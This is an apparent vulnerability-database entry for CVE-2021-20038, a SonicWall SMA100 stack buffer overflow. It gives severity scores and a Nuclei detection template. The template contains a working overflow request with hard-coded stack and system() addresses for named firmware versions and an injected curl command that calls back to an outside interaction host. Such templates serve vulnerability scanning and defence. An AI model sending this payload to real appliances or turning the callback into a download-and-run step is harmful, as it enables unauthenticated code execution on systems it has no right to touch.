SonicWall SMA100 Stack - Buffer Overflow/Remote Code Execution

2022-01-1805:20:14

ProjectDiscovery

github.com

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.8 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.949 High

EPSS

Percentile

99.3%

JSON

A Stack-based buffer overflow vulnerability in SMA100 Apache httpd server’s mod_cgi module environment variables allows a remote unauthenticated attacker to potentially execute code as a ‘nobody’ user in the appliance. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv and earlier versions.

id: CVE-2021-20038

info:
  name: SonicWall SMA100 Stack - Buffer Overflow/Remote Code Execution
  author: dwisiswant0, jbaines-r7
  severity: critical
  description: A Stack-based buffer overflow vulnerability in SMA100 Apache httpd server's mod_cgi module environment variables allows a remote unauthenticated attacker to potentially execute code as a 'nobody' user in the appliance. This vulnerability affected SMA 200, 210, 400, 410 and 500v appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.2-24sv and earlier versions.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code or crash the affected system.
  remediation: |
    Apply the latest security patch or update provided by SonicWall to mitigate this vulnerability.
  reference:
    - https://attackerkb.com/topics/QyXRC1wbvC/cve-2021-20038/rapid7-analysis
    - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0026
    - https://nvd.nist.gov/vuln/detail/CVE-2021-20038
    - https://github.com/jbaines-r7/badblood
    - https://github.com/Ostorlab/KEV
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-20038
    cwe-id: CWE-787,CWE-121
    epss-score: 0.95823
    epss-percentile: 0.99394
    cpe: cpe:2.3:o:sonicwall:sma_200_firmware:10.2.0.8-37sv:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: sonicwall
    product: sma_200_firmware
  tags: cve2021,cve,overflow,rce,sonicwall,kev
variables:
  useragent: '{{rand_base(6)}}'

http:
  - raw:
      - |
        GET /{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};{{prefix_addr}}{{system_addr}};{curl,http://{{interactsh-url}}+-H+'User-Agent%3a+{{useragent}}'};?{{repeat("A", 518)}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      prefix_addr:
        - "%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf" # stack's top address
      system_addr:
        - "%08%b7%06%08" # for 10.2.1.2-24sv
        - "%64%b8%06%08" # for 10.2.1.1-1[79]sv
    attack: clusterbomb

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"
# digest: 4a0a00473045022100b49265d42322ef09c210c86e7f05e3852423926f090b97d3bcdd6bcea1d7778002200556aea3a7775b4e81ccfa40289681631bfa4b778f8405ee374816a699599029:922c64590222798bb761d5b6d8e72950